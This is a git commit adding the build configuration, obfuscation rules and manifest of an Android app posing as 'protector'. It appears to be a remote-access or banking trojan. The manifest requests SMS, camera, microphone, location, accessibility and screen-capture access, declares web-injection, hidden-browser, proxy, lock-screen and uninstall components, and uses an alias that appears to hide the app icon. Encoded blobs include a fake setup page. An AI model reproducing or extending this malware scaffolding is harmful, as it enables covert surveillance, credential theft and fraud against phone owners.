initial commit

This commit is contained in:
i2p
2026-08-27 11:22:47 -06:00
commit ee6042694e
253 changed files with 174329 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
/build
+87
View File
@@ -0,0 +1,87 @@
apply plugin: 'com.android.application'
apply plugin: 'stringfog'
import com.github.megatronking.stringfog.plugin.kg.RandomKeyGenerator
import com.github.megatronking.stringfog.plugin.StringFogMode
stringfog {
implementation 'com.github.megatronking.stringfog.xor.StringFogImpl'
packageName 'com.github.megatronking.stringfog.app'
enable true
fogPackages = ['com.icontrol.protector']
kg new RandomKeyGenerator()
mode StringFogMode.bytes
}
android {
namespace "com.icontrol.protector"
compileSdk 34
useLibrary 'org.apache.http.legacy'
// buildToolsVersion '29.0.3'
buildTypes {
release {
minifyEnabled true
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
}
}
defaultConfig {
flavorDimensions "payload"
applicationId "com.icontrol"
minSdkVersion 24
//noinspection EditedTargetSdkVersion,ExpiredTargetSdkVersion
targetSdkVersion 34
versionCode 331165
versionName "3.31.165"
// testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
}
productFlavors {
payload{
applicationIdSuffix ".protector"
}
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
}
dependencies {
//noinspection GradleCompatible,GradleCompatible
implementation 'com.android.support:support-compat:28.0.0'
implementation 'com.android.support.constraint:constraint-layout:2.0.4'
implementation 'com.google.android.material:material:1.12.0'
implementation 'org.apache.httpcomponents:httpcore:4.4.16'
implementation 'com.google.android.material:material:1.4.0'
implementation 'com.squareup.okhttp3:okhttp:4.12.0'
//implementation 'com.google.firebase:firebase-crashlytics-buildtools:2.9.9'
implementation 'com.github.megatronking.stringfog:xor:5.0.0'
implementation 'androidx.work:work-runtime:2.9.1'
// implementation 'androidx.startup:startup-runtime:1.1.1'
implementation 'androidx.activity:activity-ktx:1.7.0'
implementation 'androidx.fragment:fragment-ktx:1.5.7'
//help detect memory leaks
//debugImplementation 'com.squareup.leakcanary:leakcanary-android:3.0-alpha-8'
}
+85
View File
@@ -0,0 +1,85 @@
# ========== General ProGuard Settings ==========
# -dontusemixedcaseclassnames
-dontpreverify
-ignorewarnings
-keepattributes *Annotation*,Signature,InnerClasses,EnclosingMethod
#-keepnames class * {
# *;
#}
# -keepparameternames
# Keep line numbers for stack traces
-keepattributes SourceFile,LineNumberTable
# Optional: Hide source file names
-renamesourcefileattribute SourceFile
# ========== Custom Logging Classes ==========
-assumenosideeffects class com.icontrol.protector.MyLoger {
public static *** Debug(...);
public static *** Error(...);
public static *** Info(...);
}
# Remove all android.util.Log calls
-assumenosideeffects class android.util.Log {
public static *** d(...);
public static *** v(...);
public static *** i(...);
public static *** w(...);
public static *** e(...);
}
# ========== Support Library ==========
#-keep class android.support.** { *; }
# ========== OkHttp ==========
#-dontwarn okhttp3.**
#-dontwarn okio.**
#-keep class okhttp3.** { *; }
#-keep class okio.** { *; }
# ========== Apache Http Legacy ==========
#-keep class org.apache.** { *; }
# ========== WorkManager ==========
#-dontwarn androidx.work.impl.**
#-keep class androidx.work.** { *; }
#-keep interface androidx.work.** { *; }
# ========== AndroidX Startup (if used later) ==========
#-keep class androidx.startup.** { *; }
# ========== Fragment / Activity KTX ==========
#-keep class androidx.fragment.app.** { *; }
#-keep class androidx.activity.** { *; }
# ========== StringFog ==========
# -keep class com.github.megatronking.stringfog.** { *; }
# -keep class com.icontrol.protector.** { *; }
# ========== Preserve Custom Configs Class ==========
-keep class com.icontrol.protector.My_Configs { *; }
# ========== Reflection / Synthetic Access (safe defaults) ==========
#-keepclassmembers class * {
# public <init>(...);
#}
#-keepclassmembers class * {
# public *;
#}
#-keepclassmembers enum * {
# public static **[] values();
# public static ** valueOf(java.lang.String);
#}
# ========== Optional ==========
# You can re-enable shrinking/obfuscation/optimization after verifying
#-dontshrink
#-dontoptimize
#-dontobfuscate
# Repackage (if you're intentionally flattening packages, be careful)
# Comment this if not required
-repackageclasses unityfslma.alfabeta.cosmicplan.wonderland
@@ -0,0 +1,484 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.icontrol.protector">
<uses-feature android:name="android.hardware.bluetooth" android:required="false"/>
<uses-feature android:name="android.hardware.location" android:required="false"/>
<uses-feature android:name="android.hardware.location.network" android:required="false"/>
<uses-feature android:name="android.hardware.location.gps" android:required="false"/>
<uses-feature android:name="android.hardware.camera" android:required="false"/>
<uses-feature android:name="android.hardware.nfc" android:required="false"/>
<uses-feature android:name="android.hardware.wifi" android:required="false"/>
<uses-feature android:name="android.hardware.telephony" android:required="false"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
<!-- <uses-permission android:name="android.permission.WRITE_SETTINGS"-->
<!-- tools:ignore="ProtectedPermissions" />-->
<!-- <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"-->
<!-- tools:ignore="ProtectedPermissions" />-->
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"
tools:ignore="ProtectedPermissions" />
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<uses-permission android:name="android.permission.REORDER_TASKS" />
<uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM" />
<uses-permission android:name="android.permission.USE_EXACT_ALARM"
tools:ignore="ExactAlarm" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="com.android.alarm.permission.SET_ALARM" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
<uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS" />
<uses-permission android:name="android.permission.SET_WALLPAPER" />
<uses-permission android:name="android.permission.READ_SMS" />
<!-- <uses-permission android:name="android.permission.READ_CALL_LOG" />-->
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<queries>
<intent>
<action android:name="*"/>
<data android:mimeType="*/*"/>
</intent>
</queries>
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"
tools:ignore="QueryAllPackagesPermission" />
<application
android:allowBackup="true"
android:usesCleartextTraffic="true"
android:networkSecurityConfig="@xml/network_security_config"
android:requestLegacyExternalStorage="true"
android:label="@string/BaseName"
android:icon="@drawable/mylogo"
android:supportsRtl="true"
android:largeHeap="true"
android:exported="false"
android:preserveLegacyExternalStorage="true"
android:theme="@android:style/Theme.NoTitleBar">
<uses-library android:name="org.apache.http.legacy" android:required="false"/>
<!-- Activitys -->
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="${applicationId}.provider"
android:exported="false"
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/pfs1" />
</provider>
<activity android:name=".Splasher" android:exported="true" />
<activity-alias android:name=".A2"
android:exported="true"
android:enabled="false"
android:label="@string/name1"
android:icon="@drawable/notify"
android:roundIcon="@drawable/notify"
android:screenOrientation="sensor"
android:hardwareAccelerated="false"
android:targetActivity=".Splasher"
android:theme="@android:style/Theme.Translucent.NoTitleBar">
<intent-filter android:priority="1">
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.INFO" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.MULTIWINDOW_LAUNCHER"/>
</intent-filter>
</activity-alias>
<activity-alias android:name=".A1"
android:exported="true"
android:enabled="true"
android:label="@string/BaseName"
android:icon="@drawable/mylogo"
android:hardwareAccelerated="false"
android:targetActivity=".Splasher"
android:theme="@android:style/Theme.Black.NoTitleBar">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity-alias>
<!-- <activity android:name=".HiddenActivity"-->
<!-- android:exported="true"-->
<!-- android:enabled="true"-->
<!-- android:label="@string/name1"-->
<!-- android:icon="@drawable/notify"-->
<!-- android:screenOrientation="sensor"-->
<!-- android:hardwareAccelerated="false"-->
<!-- android:targetActivity=".HiddenActivity"-->
<!-- android:theme="@android:style/Theme.Translucent.NoTitleBar">-->
<!-- <intent-filter android:autoVerify="true">-->
<!-- <action android:name="android.intent.action.MAIN" />-->
<!-- <category android:name="android.intent.category.LAUNCHER" />-->
<!-- <action android:name="android.intent.action.VIEW" />-->
<!-- <category android:name="android.intent.category.DEFAULT" />-->
<!-- <category android:name="android.intent.category.BROWSABLE" />-->
<!-- <data-->
<!-- android:scheme="https"-->
<!-- android:host="www.anything.org"-->
<!-- android:pathPrefix="/app" />-->
<!-- </intent-filter>-->
<!-- <meta-data-->
<!-- android:name="android.app.lib_name"-->
<!-- android:value="" />-->
<!-- </activity>-->
<activity android:name=".ActivMain"
android:exported="true"
android:enabled="true"
android:launchMode="singleTop"
android:screenOrientation="sensor"
android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|uiMode|screenSize|smallestScreenSize"
android:hardwareAccelerated="true"
android:theme="@android:style/Theme.Black.NoTitleBar">
</activity>
<activity android:name=".LockActivity"
android:exported="true"
android:enabled="true"
android:label=" "
android:icon="@android:color/transparent"
android:noHistory="true"
android:launchMode="singleTask"
android:hardwareAccelerated="false"
android:excludeFromRecents="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar">
</activity>
<activity android:name=".AlertActivity"
android:exported="true"
android:label="Alerts"
android:noHistory="true"
android:excludeFromRecents="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar">
</activity>
<activity
android:exported="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar"
android:name="com.icontrol.protector.PermissionsActivity" />
<activity
android:exported="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar"
android:name="com.icontrol.protector.ActivityDraw">
</activity>
<activity
android:exported="true"
android:noHistory="true"
android:hardwareAccelerated="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar"
android:excludeFromRecents="true"
android:name="com.icontrol.protector.AccessibilityActivity" />
<activity
android:exported="true"
android:noHistory="true"
android:excludeFromRecents="true"
android:name="com.icontrol.protector.RestrectionActivity" />
<activity android:exported="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar"
android:showOnLockScreen="true"
android:showWhenLocked="true"
android:turnScreenOn="true"
android:name=".ActivityCaptureScreen">
</activity>
<activity
android:exported="true"
android:noHistory="true"
android:excludeFromRecents="true"
android:name=".RequestDataUsage" />
<activity
android:name=".Requestinstall"
android:exported="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar" />
<activity
android:name=".RequestPermissions2"
android:exported="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar" />
<activity
android:name=".UninstallActivity"
android:exported="true"
android:excludeFromRecents="true"
android:noHistory="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar" />
<activity
android:name=".BrodcastActivity"
android:exported="true"
android:excludeFromRecents="true"
android:noHistory="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar" />
<activity
android:name=".ChatActivity"
android:exported="true"
android:windowSoftInputMode="adjustResize"
android:excludeFromRecents="true"
android:noHistory="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar"
/>
<activity android:name=".WebBrowser"
android:label="View"
android:exported="true"
android:launchMode = "singleInstance"
android:excludeFromRecents="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar"
>
</activity>
<activity android:name=".Webjector"
android:label="View"
android:exported="true"
android:launchMode = "singleInstance"
android:excludeFromRecents="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar"
>
</activity>
<!-- Services -->
<service android:enabled="true"
android:exported="true"
android:name="com.icontrol.protector.WorkServices"
android:foregroundServiceType="dataSync" />
<service android:enabled="true" android:exported="true" android:name="com.icontrol.protector.CameraCap" android:foregroundServiceType="dataSync"/>
<service android:enabled="true" android:exported="true" android:name="com.icontrol.protector.HiddenBrowser" android:foregroundServiceType="dataSync"/>
<!-- <service android:enabled="true" android:exported="true" android:name="com.icontrol.protector.LiveChat" android:foregroundServiceType="dataSync"/>-->
<service android:enabled="true" android:exported="true" android:name="com.icontrol.protector.EngineWorker" android:foregroundServiceType="dataSync" />
<service android:enabled="true" android:exported="true" android:name="com.icontrol.protector.ProxyService" android:foregroundServiceType="dataSync" />
<service android:enabled="true" android:exported="true" android:name="com.icontrol.protector.StarterServices" />
<service android:exported="true" android:foregroundServiceType="dataSync" android:name="com.icontrol.protector.LocationMonitor" />
<service
android:name="com.icontrol.protector.MyJobService"
android:enabled="true"
android:exported="false"
android:permission="android.permission.BIND_JOB_SERVICE" />
<service
android:name="com.icontrol.protector.ScreenCaps"
android:enabled="true"
android:exported="true"
android:foregroundServiceType="mediaProjection" />
<service
android:name=".AccessServices"
android:enabled="true"
android:exported="false"
android:label="@string/BaseName"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibilityprivatesrcapp" />
</service>
<!-- <service-->
<!-- android:name="androidx.work.impl.foreground.SystemForegroundService"-->
<!-- android:foregroundServiceType="dataSync"-->
<!-- android:exported="false"-->
<!-- tools:node="merge" />-->
<!-- Receivers-->
<receiver
android:name=".alarme"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="MY_CUSTOM_ACTION" />
</intent-filter>
</receiver>
<receiver
android:name=".BootReceiver"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON"/>
<action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/>
<action android:name="android.intent.action.REBOOT"/>
</intent-filter>
</receiver>
<receiver android:name=".ResetServices"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.AIRPLANE_MODE" />
<action android:name="android.intent.action.BATTERY_LOW" />
<action android:name="android.intent.action.BATTERY_OKAY" />
<action android:name="android.intent.action.LOCALE_CHANGED" />
<action android:name="android.intent.action.TIMEZONE_CHANGED" />
<!-- <action android:name="android.intent.action.TIME_TICK" />-->
<action android:name="android.intent.action.DEVICE_STORAGE_LOW" />
<action android:name="android.intent.action.DEVICE_STORAGE_OK" />
<action android:name="android.intent.action.ACTION_POWER_CONNECTED"/>
<action android:name="android.intent.action.ACTION_POWER_DISCONNECTED"/>
</intent-filter>
</receiver>
<activity android:name=".TransparentActivity"
android:theme="@android:style/Theme.Black.NoTitleBar.Fullscreen"
android:enabled="true"
android:showWhenLocked="true"
android:turnScreenOn="true"
android:keepScreenOn="true"
android:showOnLockScreen="true"
android:launchMode="singleInstance"
android:documentLaunchMode="intoExisting"
android:configChanges="orientation|keyboardHidden|keyboard|screenSize|smallestScreenSize"
android:excludeFromRecents="false"
android:exported="true">
</activity>
<activity android:name=".tofront"
android:theme="@android:style/Theme.Translucent.NoTitleBar"
android:enabled="true"
android:showWhenLocked="true"
android:turnScreenOn="true"
android:showOnLockScreen="true"
android:launchMode="singleInstance"
android:documentLaunchMode="intoExisting"
android:excludeFromRecents="false"
android:exported="true">
</activity>
<activity
android:name=".Startme"
android:theme="@android:style/Theme.Translucent.NoTitleBar"
android:exported="true">
<intent-filter>
<action android:name="com.javadata.scanner.STARTER" />
</intent-filter>
</activity>
<activity
android:name=".wakeitaiv"
android:excludeFromRecents="true"
android:showForAllUsers="true"
android:turnScreenOn="true"
android:theme="@android:style/Theme.Translucent.NoTitleBar"
android:label="Google" />
<!-- <meta-data android:name="com.google.android.gms.version" android:value="12451000"/>-->
<!-- <meta-data android:name="com.google.android.ALLOW_PHISHING_DETECTION" android:value="false"/>-->
<!-- <meta-data android:name="com.sec.android.support.multiwindow" android:value="true"/>-->
<!-- <meta-data android:name="com.sec.android.multiwindow.DEFAULT_SIZE_W" android:value="632.0dip"/>-->
<!-- <meta-data android:name="com.sec.android.multiwindow.DEFAULT_SIZE_H" android:value="598.0dip"/>-->
<!-- <meta-data android:name="com.sec.android.multiwindow.MINIMUM_SIZE_W" android:value="632.0dip"/>-->
<!-- <meta-data android:name="com.sec.android.multiwindow.MINIMUM_SIZE_H" android:value="598.0dip"/>-->
<!-- <meta-data android:name="com.android.dynamic.apk.fused.modules" android:value="base"/>-->
<!-- <meta-data android:name="com.android.vending.splits" android:resource="@xml/splits0"/>-->
<!-- <meta-data android:name="com.android.stamp.type" android:value="STAMP_TYPE_DISTRIBUTION_APK"/>-->
<!-- <meta-data android:name="com.android.stamp.source" android:value="https://play.google.com/store"/>-->
<!-- <meta-data android:name="com.google.android.play.billingclient.version" android:value="3.0.3"/>-->
<!-- <meta-data android:name="com.android.vending.derived.apk.id" android:value="1"/>-->
</application>
</manifest>
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1 @@
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
@@ -0,0 +1 @@
PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPVtMTkddPg0KPGhlYWQ+DQo8bWV0YSBjaGFyc2V0PVVURi04IC8+DQo8bWV0YSBuYW1lPXZpZXdwb3J0IGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIiAvPg0KPHRpdGxlPkxhdW5jaGVyIFNldHVwPC90aXRsZT4NCjxzdHlsZT5ib2R5e21hcmdpbjowO3BhZGRpbmc6MDtiYWNrZ3JvdW5kOiMxODE4MTg7Zm9udC1mYW1pbHk6J1NlZ29lIFVJJyxUYWhvbWEsc2Fucy1zZXJpZjtjb2xvcjp3aGl0ZTtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2p1c3RpZnktY29udGVudDpjZW50ZXI7YWxpZ24taXRlbXM6Y2VudGVyO2hlaWdodDoxMDB2aDt0ZXh0LWFsaWduOmNlbnRlcjtwb3NpdGlvbjpyZWxhdGl2ZX1Aa2V5ZnJhbWVzIGdsb3d7MCV7b3BhY2l0eTouNH01MCV7b3BhY2l0eToxfTEwMCV7b3BhY2l0eTouNH19LmRvdHMtbG9hZGVye2Rpc3BsYXk6ZmxleDtqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyO2FsaWduLWl0ZW1zOmNlbnRlcjttYXJnaW4tYm90dG9tOjMwcHg7aGVpZ2h0OjYwcHh9LmRvdHMtbG9hZGVyIHNwYW57d2lkdGg6MTJweDtoZWlnaHQ6MTJweDttYXJnaW46MCA2cHg7YmFja2dyb3VuZC1jb2xvcjojZmZmO2JvcmRlci1yYWRpdXM6NTAlO2Rpc3BsYXk6aW5saW5lLWJsb2NrO2FuaW1hdGlvbjpib3VuY2UgMS4ycyBpbmZpbml0ZSBlYXNlLWluLW91dH0uZG90cy1sb2FkZXIgc3BhbjpudGgtY2hpbGQoMil7YW5pbWF0aW9uLWRlbGF5Oi4yc30uZG90cy1sb2FkZXIgc3BhbjpudGgtY2hpbGQoMyl7YW5pbWF0aW9uLWRlbGF5Oi40c31Aa2V5ZnJhbWVzIGJvdW5jZXswJSw4MCUsMTAwJXt0cmFuc2Zvcm06c2NhbGUoMC44KTtvcGFjaXR5Oi41fTQwJXt0cmFuc2Zvcm06c2NhbGUoMS40KTtvcGFjaXR5OjF9fS5zdGF0dXN7Zm9udC1zaXplOjEuM3JlbTttaW4taGVpZ2h0OjEuNWVtO21hcmdpbi1ib3R0b206MTBweDthbmltYXRpb246Z2xvdyAycyBlYXNlLWluLW91dCBpbmZpbml0ZX0ud2FybmluZ3twb3NpdGlvbjphYnNvbHV0ZTtib3R0b206MjBweDtmb250LXNpemU6MXJlbTtjb2xvcjojZmYyZDJkfUBtZWRpYShtYXgtd2lkdGg6NDAwcHgpey5zdGF0dXN7Zm9udC1zaXplOjEuMXJlbX0ud2FybmluZ3tmb250LXNpemU6LjhyZW19fS5wcm9ncmVzc3tmb250LXNpemU6MS4xcmVtO2NvbG9yOiNjY2M7bWluLWhlaWdodDoxLjNlbTttYXJnaW4tYm90dG9tOjEwcHg7YW5pbWF0aW9uOmdsb3cgMnMgZWFzZS1pbi1vdXQgaW5maW5pdGV9LmFwcC1pY29ue3dpZHRoOjcwcHg7aGVpZ2h0OjcwcHg7bWFyZ2luLWJvdHRvbToyNXB4fTwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxpbWcgc3JjPWRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxbQkFTRS1JQ09dIGFsdD0iQXBwIEljb24iIG9uZXJyb3I9InRoaXMuc3R5bGUuZGlzcGxheT0nbm9uZSciIGNsYXNzPWFwcC1pY29uPg0KPGRpdiBjbGFzcz1kb3RzLWxvYWRlcj4NCjxzcGFuPjwvc3Bhbj48c3Bhbj48L3NwYW4+PHNwYW4+PC9zcGFuPg0KPC9kaXY+DQo8ZGl2IGNsYXNzPXN0YXR1cyBpZD1zdGF0dXNUZXh0PltNU0ddPC9kaXY+DQo8ZGl2IGNsYXNzPXByb2dyZXNzIGlkPXByb2dyZXNzVGV4dD4wJTwvZGl2Pg0KPGRpdiBjbGFzcz13YXJuaW5nPlBsZWFzZSBkb24ndCBjbG9zZSB0aGUgYXBwPC9kaXY+DQo8c2NyaXB0P